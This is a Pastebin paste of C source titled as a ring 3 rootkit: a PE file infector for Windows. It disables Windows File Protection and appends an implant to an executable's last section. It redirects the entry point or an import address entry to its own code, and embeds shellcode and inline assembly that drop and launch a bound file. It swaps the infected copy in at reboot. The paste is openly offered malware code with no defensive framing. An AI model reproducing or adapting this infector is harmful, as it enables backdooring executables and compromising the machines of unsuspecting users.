Advertisement
msw3006

Ring 3 rootkit souce code

Apr 20th, 2016
285
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 18.24 KB | None | 0 0
  1. c source of ring 3 ROOTKIT
  2. ===========================================
  3. #include "filemanagement.h"
  4.  
  5.     DWORD g_dwEIP;
  6.     DWORD g_dwStubSize;
  7.  
  8. bool PEFile::OpenPEFile(char* szFileName,
  9.                         bool  isWFPDisableViaInject,
  10.                         char* szAPIname,
  11.                         char* szLIBname)
  12. {
  13.     WFPManager WFPMan;
  14.     m_szEPOAPIname = szAPIname;
  15.     m_szEPOLIBname = szLIBname;
  16.     m_szOriginalFile = szFileName;
  17.     bool isProtected = false;
  18.  
  19.     if(WFPMan.SFCCheck(m_szOriginalFile)) {
  20.         isProtected = true;
  21.         if(isWFPDisableViaInject) {
  22.             if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, szFileName))
  23.                 m_isImageOpen = true; //image is running or locked so make a copy and infect that
  24.         } else m_isImageOpen = true;  //quiet method must always work with a copy first
  25.     } else {
  26.         if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, szFileName))
  27.             m_isImageOpen = true;
  28.     }
  29.     if(m_isImageOpen) {
  30.         char szTempFileName [] = "fReplace.exe";
  31.         GetTempPath(MAX_PATH, m_szTempFile);
  32.         CopyFile(szFileName, strcat(m_szTempFile, szTempFileName),false);
  33.         if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, m_szTempFile))
  34.             return false;
  35.         szFileName = m_szTempFile;
  36.     }
  37.     if(CheckFileAndGetHeaders()) {  
  38.         if(isProtected) {
  39.             if(isWFPDisableViaInject) {
  40.                 if(!WFPMan.SFCDisableWatcherThreadTemp()) {//enable to use immediate WFP disabling for all files
  41.                     ClosePEFile();
  42.                     return false;
  43.                 }
  44.             } else {
  45.                 if(!WFPMan.SFCDisableForFilePermanent(m_szOriginalFile)) {//quiet WFP disabling
  46.                     ClosePEFile();
  47.                     return false;
  48.                 }
  49.             }
  50.             return true;
  51.         }
  52.         return true;                            
  53.     }                                                      
  54.     return false; //was not a PE file.
  55. }
  56.  
  57. bool  PEFile::OpenFileAndMapIt(HANDLE &hFile, HANDLE &hMapping, LPVOID &lpBaseAddress, DWORD dwMapSize, char* szFileName)
  58. {
  59.     if(szFileName != NULL) {
  60.         hFile = CreateFile(szFileName,
  61.             GENERIC_READ | GENERIC_WRITE,
  62.             FILE_SHARE_READ | FILE_SHARE_WRITE,
  63.             NULL,
  64.             OPEN_EXISTING,
  65.             FILE_ATTRIBUTE_NORMAL,
  66.             0);
  67.         if(hFile == INVALID_HANDLE_VALUE)
  68.             return false;
  69.     }
  70.     hMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, dwMapSize, NULL);
  71.     if(!hMapping) {
  72.        CloseHandle(hFile);
  73.        return false;
  74.     }
  75.     lpBaseAddress = MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwMapSize);
  76.     if(!lpBaseAddress) {
  77.         CloseHandle(hMapping);
  78.         CloseHandle(hFile);
  79.         return false;
  80.     }
  81.     return true;
  82. }
  83.  
  84. bool PEFile::CheckFileAndGetHeaders()
  85. {
  86.     try
  87.     {
  88.         m_pDOSheader = (IMAGE_DOS_HEADER*)m_lpBaseAddress;
  89.         if(m_pDOSheader->e_magic != IMAGE_DOS_SIGNATURE) {
  90.             ClosePEFile();
  91.             return false;
  92.         }
  93.         m_pNTheaders = (IMAGE_NT_HEADERS*)(m_pDOSheader->e_lfanew + (DWORD)m_lpBaseAddress);
  94.         if(m_pNTheaders->Signature != IMAGE_NT_SIGNATURE) {
  95.             ClosePEFile();
  96.             return false;
  97.         }
  98.         m_pSectionheader = (IMAGE_SECTION_HEADER*)(m_pDOSheader->e_lfanew + sizeof(IMAGE_NT_HEADERS)
  99.             + (DWORD)m_lpBaseAddress);
  100.         return true;
  101.     }
  102.     catch(...)
  103.     {
  104.         return false;
  105.     }
  106. }
  107.  
  108. bool  PEFile::ImplantToLastSection(DWORD dwSize, char* szCodeToImplant, char* szExeStub)
  109. {
  110.     try
  111.     {
  112.         RemapFile(dwSize); //remap the file to implant to include either file or implant code size
  113.         m_pSectionheader += (m_pNTheaders->FileHeader.NumberOfSections - 1); //start of last section
  114.         m_pSectionheader->Characteristics |= 0xA0000020; //change section characteristics
  115.         DWORD dwWriteAddr = (m_pSectionheader->PointerToRawData + m_pSectionheader->SizeOfRawData); //offset to write code in host
  116.         DWORD dwAlignSize = ((dwSize - m_nFilePadding)  + m_pSectionheader->SizeOfRawData);
  117.         dwAlignSize += (m_pNTheaders->OptionalHeader.FileAlignment -
  118.            (dwAlignSize % m_pNTheaders->OptionalHeader.FileAlignment)); //work out file alignment
  119.         m_pSectionheader->SizeOfRawData = dwAlignSize;
  120.         m_pSectionheader->Misc.VirtualSize = dwAlignSize;
  121.         m_pNTheaders->OptionalHeader.SizeOfImage = m_pSectionheader->VirtualAddress + dwAlignSize;
  122.         char* szWriteMap = (char*)(dwWriteAddr + (DWORD)m_lpBaseAddress); //make a ptr to write point in host file
  123.         DWORD i;
  124.         if(NULL != szExeStub) {
  125.             for (i = 0; i < m_nStubLen; i++) szWriteMap[i] = szExeStub[i];
  126.             for (DWORD j = m_nStubLen; j < (dwSize - m_nFilePadding) + m_nStubLen; j++)
  127.                 szWriteMap[j] = szCodeToImplant[j - m_nStubLen];
  128.         }else {
  129.             for (i = 0; i < dwSize; i++)
  130.                 szWriteMap[i] = szCodeToImplant[i];
  131.         }
  132.         CalculateNewChecksum();
  133.         return true;
  134.     }
  135.     catch(...)
  136.     {
  137.         return false;
  138.     }
  139. }
  140.  
  141. bool PEFile::ImplantFile(char* szBindFileNameAndPath,
  142.                          char* szDroppedFileNameAndPath,
  143.                          bool  isHardcodedDropStub,
  144.                          bool  isRelocatable)
  145. {
  146.     HANDLE hFileImplant;
  147.     HANDLE hMappingImplant;
  148.     LPVOID lpBaseAddressImplant;
  149.     m_isRelocatable = isRelocatable;
  150.     if(!OpenFileAndMapIt(hFileImplant, hMappingImplant, lpBaseAddressImplant, 0, szBindFileNameAndPath)) {
  151.         m_isImageOpen = false;
  152.         return false;
  153.     }
  154.     SaveEntryPoints();
  155.     //select executing stub type for file implant  
  156.     m_szExeStub = (isHardcodedDropStub) ? (ExecuteImplantFileHardcoded(GetFileSize(hFileImplant, NULL),
  157.         szDroppedFileNameAndPath)) : (ExecuteImplantFileDynamic(GetFileSize(hFileImplant, NULL),
  158.         szDroppedFileNameAndPath));
  159.     ImplantToLastSection(GetFileSize(hFileImplant, NULL) + (m_nFilePadding = PADDING_SIZE),
  160.         (char*) lpBaseAddressImplant,
  161.         m_szExeStub);
  162.     UnmapViewOfFile(lpBaseAddressImplant);
  163.     CloseHandle(hMappingImplant);
  164.     CloseHandle(hFileImplant);
  165.     return true;
  166. }
  167.  
  168. void PEFile::CalculateNewChecksum()
  169. {
  170.     DWORD dwHeaderSum;
  171.     DWORD dwCheckSum;
  172.     m_pNTheaders = CheckSumMappedFile(m_lpBaseAddress,
  173.         GetFileSize(m_hFile, NULL),
  174.         &dwHeaderSum,
  175.         &dwCheckSum);
  176.     if(dwHeaderSum) //save chksum only for files with existing chksum
  177.         m_pNTheaders->OptionalHeader.CheckSum = dwCheckSum;
  178. }
  179.  
  180. void PEFile::ClosePEFile()
  181. {
  182.     UnmapViewOfFile(m_lpBaseAddress);
  183.     CloseHandle(m_hMapping);
  184.     CloseHandle(m_hFile);
  185.     if(m_isImageOpen) //if it was a copy that we infected overwrite the original at reboot now
  186.         MoveFileEx(m_szTempFile, m_szOriginalFile, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING);
  187. }
  188.  
  189. char* PEFile::ExecuteImplantFileDynamic(DWORD dwSize,char* szDroppedFileNameAndPath)
  190. //use when function addresses are not known for target at the time of execution
  191. {
  192.     //this code can be found in the file dynastub.asm
  193.     char szRawDynStub[] =
  194. "\x60\x9c\xe8\x00\x00\x00\x00\x5d\x81\xed\x0b\x10\x40\x00\x89\xa5\x76\x11\x40\x00"
  195. "\x83\xec\x60\x83\xbd\xd4\x11\x40\x00\x00\x74\x0a\x8b\x85\xd4\x11\x40\x00\xff\x30"
  196. "\xeb\x06\xff\xb5\xd8\x11\x40\x00\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c"
  197. "\xad\x8b\x40\x08\x89\x85\x90\x11\x40\x00\xb9\x04\x00\x00\x00\x8d\xb5\xac\x11\x40"
  198. "\x00\x8d\xbd\xc0\x11\x40\x00\xe8\x95\x00\x00\x00\x8d\x85\x94\x11\x40\x00\x50\xff"
  199. "\x95\xcc\x11\x40\x00\xb9\x01\x00\x00\x00\x8d\xb5\xa4\x11\x40\x00\x8d\xbd\xa8\x11"
  200. "\x40\x00\xe8\x72\x00\x00\x00\x33\xc0\x50\x50\x40\x40\x50\x48\x48\x50\x40\x50\x68"
  201. "\x00\x00\x00\xc0\x8d\xb5\xe4\x11\x40\x00\x56\xff\x95\xc4\x11\x40\x00\x89\x85\xa0"
  202. "\x11\x40\x00\x6a\x00\x8d\xb5\xd0\x11\x40\x00\x56\x8b\xb5\xe0\x11\x40\x00\x56\x8b"
  203. "\xb5\xdc\x11\x40\x00\x56\x50\xff\x95\xc8\x11\x40\x00\xff\xb5\xa0\x11\x40\x00\xff"
  204. "\x95\xc0\x11\x40\x00\x6a\x0a\x33\xc0\x50\x50\x8d\x9d\xe4\x11\x40\x00\x53\x50\x50"
  205. "\xff\x95\xa8\x11\x40\x00\x8b\xa5\x76\x11\x40\x00\x9d\x61\xff\xa4\x24\x78\xff\xff"
  206. "\xff\x51\x56\x57\x51\x50\x03\x40\x3c\x50\x8b\x50\x78\x03\x54\x24\x04\x8b\x72\x20"
  207. "\x03\x74\x24\x04\x33\xc0\x8b\xc8\x8b\xf8\x56\x33\xc0\x8b\xf8\x41\x8b\x5c\x24\x08"
  208. "\x03\x1e\x8b\xf3\xe8\x55\x00\x00\x00\x83\x04\x24\x04\x8b\x34\x24\x8b\x5c\x24\x14"
  209. "\x8b\x44\x24\x0c\x3b\x3c\x83\x74\x07\x85\xc0\x74\x2e\x48\xeb\xf4\x8b\xd8\x8b\x42"
  210. "\x24\x03\x44\x24\x08\x51\x0f\xb7\x0c\x48\x2b\x4a\x10\x8b\x42\x1c\x03\x44\x24\x0c"
  211. "\x8b\x04\x88\x59\x03\x44\x24\x08\x8b\x7c\x24\x10\x89\x04\x9f\xff\x4c\x24\x18\x83"
  212. "\x7c\x24\x18\x00\x75\xa1\x83\xc4\x1c\xc3\x00\x00\x00\x00\xac\x84\xc0\x74\x07\xc1"
  213. "\xcf\x0d\x03\xf8\xeb\xf4\x3b\xbd\xa4\x11\x40\x00\x75\x01\x41\xc3\x00\x00\x00\x00"
  214. "\x73\x68\x65\x6c\x6c\x33\x32\x2e\x64\x6c\x6c\x00\x00\x00\x00\x00\x5e\xbb\xe1\x1b"
  215. "\x00\x00\x00\x00\xfb\x97\xfd\x0f\xa5\x17\x00\x7c\x1f\x79\x0a\xe8\x8e\x4e\x0e\xec";
  216.  
  217.     int nStublen = sizeof(szRawDynStub) +
  218.         strlen(szDroppedFileNameAndPath) +
  219.         VAR_BUFFSIZE + PTR_OFFSET; // add dword ptr to front of code and size of total variables
  220.     DWORD dwFileAddr = m_dwImplantEntryPoint + nStublen;
  221.     char* szDynStub = new char[nStublen]; //add size of filename and path
  222.     m_nStubLen = nStublen;
  223.     int nFileNamePos = nStublen - strlen(szDroppedFileNameAndPath);
  224.     szDynStub[nStublen - 1] = '';
  225.     while (nStublen-- > nFileNamePos) //write in the filename
  226.         szDynStub[nStublen - 1] = szDroppedFileNameAndPath[nStublen - nFileNamePos];
  227.     DWORD dwExecInfo[4] =
  228.     {
  229.         {dwSize},
  230.         {dwFileAddr},
  231.         {m_dwOldEntryPoint},
  232.         {m_dwIATaddress}
  233.     }, *dwExec = dwExecInfo;
  234.     for(int i = 4; i >= 0; i--, dwExec++) {
  235.         *(PDWORD)&szDynStub[nStublen - DW_SIZE] = *dwExec; //write in initialized array
  236.         nStublen -= DW_SIZE;
  237.     }
  238.     while(nStublen-- > PTR_OFFSET)
  239.         szDynStub[nStublen] = szRawDynStub[nStublen - DW_SIZE]; //write in the code
  240.     *(PDWORD)&szDynStub[0] = (m_dwImplantEntryPoint + PTR_OFFSET); //write the dword ptr address to our stub
  241.     return szDynStub;
  242. }
  243.  
  244. char* PEFile::ExecuteImplantFileHardcoded(DWORD dwSize,char* szDroppedFileNameAndPath) //smaller, faster but OS dependant code
  245. {
  246.     //could be done with the INJDATA technique but I used some inline asm
  247.     //In the end I decided to use masm as it was more flexible than the inline assembler
  248.     //so with the dynamic code I just made it into shellcode instead and tacked on anything needing
  249.     //to be initialized at run time at the end and front of the shellcode.
  250.     HMODULE hShellLib;
  251.     HMODULE hLib = LoadLibrary("kernel32");
  252.     DWORD dwExecInfo[8] = //initialize an array of function addresses and other data needed by the stub
  253.     {
  254.         {dwSize},
  255.         {(DWORD)GetProcAddress(hLib, "WriteFile")},
  256.         {(DWORD)GetProcAddress(hLib, "CreateFileA")},
  257.         {(DWORD)GetProcAddress(hLib, "CloseHandle")},
  258.         {(DWORD)GetProcAddress((hShellLib = LoadLibrary("shell32.dll")), "ShellExecuteA")},
  259.         {0}, //dwFileAddress here
  260.         {m_dwOldEntryPoint}, //continue adddress for normal entry point
  261.         {m_dwIATaddress} //epo address here
  262.     }, *dwExec = dwExecInfo;
  263.     FreeLibrary(hLib);
  264.     FreeLibrary(hShellLib);
  265.  
  266.     __asm///
  267.     {
  268.                 call GetBP
  269.                 //dword ptr to the asm code will be here
  270.             start:
  271.                 pushad
  272.                 pushfd
  273.                 call getbp2
  274.            getbp2:
  275.                 pop ebp
  276.                 sub ebp, offset getbp2
  277.                 mov [ebp + SaveESP], esp
  278.                 sub esp, 0x60
  279.                 cmp [ebp + IATcontinueaddr], 0
  280.                 je NormalExit
  281.                 mov eax, [ebp + IATcontinueaddr]
  282.                 push dword ptr[eax]
  283.                 jmp ShellExe
  284.        NormalExit:
  285.                 push [ebp+jmpcontinueaddr]
  286.          ShellExe:
  287.                 xor eax, eax
  288.                 push eax  
  289.                 push eax
  290.                 inc eax
  291.                 inc eax  
  292.                 push eax
  293.                 dec eax
  294.                 dec eax  
  295.                 push eax
  296.                 inc eax
  297.                 push eax
  298.                 push 0xC0000000
  299.                 lea esi, [ebp + filename]
  300.                 push esi
  301.                 call dword ptr[ebp + aCreateFileA]
  302.  
  303.                 push 0x0
  304.                 lea esi, [ebp + bytewbuf]
  305.                 push esi
  306.                 mov esi, [ebp + filesize]
  307.                 push esi
  308.                 mov esi, [ebp + filestartaddress]
  309.                 push esi
  310.                 push eax
  311.                 call dword ptr[ebp + aWriteFile]
  312.  
  313.                 mov ebx, [esp - 0x14]
  314.                 push ebx
  315.                 call dword ptr[ebp + aCloseHandle]
  316.  
  317.                 push SW_SHOWDEFAULT
  318.                 xor eax, eax
  319.                 push eax
  320.                 push eax
  321.                 lea ebx, [ebp + filename]
  322.                 push ebx
  323.                 push eax
  324.                 push eax
  325.                 call dword ptr[ebp + aShellExecuteA]
  326.  
  327.                 // RestoreAndExit
  328.                 mov esp, [ebp + SaveESP]
  329.                 popfd
  330.                 popad
  331.                 jmp dword ptr[esp - 0x88]
  332.           SaveESP:
  333.                 dd
  334.          bytewbuf: //these labels are referenced in the code by the compiler
  335.                 dd //_emit 0x0...etc = DWORD
  336.          filesize:
  337.                 dd
  338.        aWriteFile:
  339.                 dd
  340.      aCreateFileA:
  341.                 dd
  342.      aCloseHandle:
  343.                 dd
  344.    aShellExecuteA:
  345.                 dd
  346.  filestartaddress:
  347.                 dd
  348.   jmpcontinueaddr:
  349.                 dd
  350.   IATcontinueaddr:
  351.                 dd
  352.          filename:
  353.                 GetBP:
  354.                 pop eax
  355.                 mov g_dwEIP, eax
  356.                 mov eax, offset filename
  357.                 mov ecx, offset start
  358.                 sub eax, ecx
  359.                 mov g_dwStubSize, eax
  360.     };
  361.  
  362.     g_dwStubSize += PTR_OFFSET; //add dword ptr address to front off code
  363.     g_dwEIP -= PTR_OFFSET;      //move eip to account for dword ptr
  364.     int nStrl = g_dwStubSize + strlen(szDroppedFileNameAndPath) + 1;
  365.     dwExec[5] = m_dwImplantEntryPoint + (DWORD)nStrl;
  366.     char* pszStub = new char[nStrl];
  367.     m_nStubLen = nStrl;
  368.     while ((DWORD) nStrl-- > g_dwStubSize)
  369.         pszStub[nStrl] = szDroppedFileNameAndPath[nStrl - g_dwStubSize];    
  370.     dwExec += EXINFO_SIZE;
  371.     for(int i = EXINFO_SIZE; i >= 0; i--, dwExec--) {
  372.         *(PDWORD)&pszStub[g_dwStubSize - DW_SIZE] = *dwExec;
  373.         g_dwStubSize -= DW_SIZE;
  374.     }
  375.     while(g_dwStubSize-- > PTR_OFFSET)
  376.           pszStub[g_dwStubSize] = ((char*)g_dwEIP)[g_dwStubSize];
  377.     *(PDWORD)&pszStub[0] = (m_dwImplantEntryPoint + PTR_OFFSET); //write the dword ptr address to our stub
  378.     return pszStub;
  379. }
  380.  
  381. void PEFile::SaveEntryPoints() //for implant to last section only
  382. {
  383.     try
  384.     {
  385.         m_dwImplantEntryPoint = (m_pSectionheader + (m_pNTheaders->FileHeader.NumberOfSections - 1))->VirtualAddress +
  386.             (m_pSectionheader + m_pNTheaders->FileHeader.NumberOfSections - 1)->SizeOfRawData +
  387.             m_pNTheaders->OptionalHeader.ImageBase;
  388.         DWORD dwNewEntryPoint = m_dwImplantEntryPoint - m_pNTheaders->OptionalHeader.ImageBase;
  389.         m_dwOldEntryPoint = m_pNTheaders->OptionalHeader.AddressOfEntryPoint +
  390.             m_pNTheaders->OptionalHeader.ImageBase;
  391.         if(m_szEPOAPIname && m_szEPOLIBname != NULL) {
  392.             EPOstart EPO;
  393.             m_dwIATaddress = EPO.PatchDwordPtr(m_szEPOAPIname,
  394.                 m_szEPOLIBname,
  395.                 m_dwImplantEntryPoint,
  396.                 m_pDOSheader,
  397.                 m_pNTheaders,
  398.                 m_pSectionheader,
  399.                 m_isRelocatable);
  400.         } else {
  401.             m_pNTheaders->OptionalHeader.AddressOfEntryPoint = dwNewEntryPoint + PTR_OFFSET;
  402.         }
  403.     }
  404.     catch(...)
  405.     {
  406.         return;
  407.     }
  408. }
  409.  
  410. bool PEFile::ImplantCode(char* szCodeToImplant, DWORD dwCodeSize, bool isRelocatable)
  411. {
  412.     m_nFilePadding = PADDING_SIZE;
  413.     m_isRelocatable = isRelocatable;
  414.     SaveEntryPoints();
  415.     //if implant is Ring0 EPO object returns a function hash not iataddress
  416.     DWORD dwSelectedEP = (m_dwIATaddress) ? m_dwIATaddress : m_dwOldEntryPoint;
  417.     *(PDWORD)&szCodeToImplant[0] = (m_dwImplantEntryPoint + PTR_OFFSET);
  418.     for(int i = 4; i >= 0; --i, --dwCodeSize)
  419.         szCodeToImplant[dwCodeSize - 1] = ((char*)&dwSelectedEP)[i];
  420.     ImplantToLastSection(dwCodeSize + PADDING_SIZE, szCodeToImplant);
  421.     if(m_isRelocatable) {
  422.         m_pSectionheader->Characteristics |= IMAGE_SCN_MEM_NOT_PAGED; //don't let implant code get paged out leading to BSOD
  423.         m_pSectionheader->Characteristics ^= IMAGE_SCN_MEM_DISCARDABLE; //don't discard our code either
  424.         PIMAGE_BASE_RELOCATION pImageReloc =
  425.             (PIMAGE_BASE_RELOCATION)(m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress +
  426.             (DWORD) m_lpBaseAddress);
  427.         PDWORD dwRelocEntryAddr = (PDWORD)((DWORD)pImageReloc +
  428.             (DWORD)m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);
  429.         DWORD dwBaseRelIndex = (m_dwImplantEntryPoint - m_pNTheaders->OptionalHeader.ImageBase) & 0xFFFFF000;
  430.         *dwRelocEntryAddr++ = dwBaseRelIndex;
  431.         WORD wReloc = (WORD)((m_dwImplantEntryPoint &= 0x0FFF) |= (IMAGE_REL_BASED_HIGHLOW << 0xC)); //make value for base reloc entry
  432.         *dwRelocEntryAddr++ = 0xA;
  433.         *(WORD*)&dwRelocEntryAddr[0] = wReloc;
  434.         m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += 0xA; //add base reloc fixup for our ptr to implant
  435.         CalculateNewChecksum();
  436.     }
  437.     return true;
  438. }
  439.  
  440. bool PEFile::RemapFile(DWORD dwNewMapSize)
  441. {
  442.     UnmapViewOfFile(m_lpBaseAddress);
  443.     CloseHandle(m_hMapping);
  444.     if (!OpenFileAndMapIt(m_hFile,
  445.         m_hMapping,
  446.         m_lpBaseAddress,
  447.         (GetFileSize(m_hFile, NULL) + dwNewMapSize))) //map file plus code need to make generic code
  448.         return false;
  449.     if (!CheckFileAndGetHeaders()) //sanity check-make sure everything is correct after remapping
  450.         return  false;
  451.     return true;
  452. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement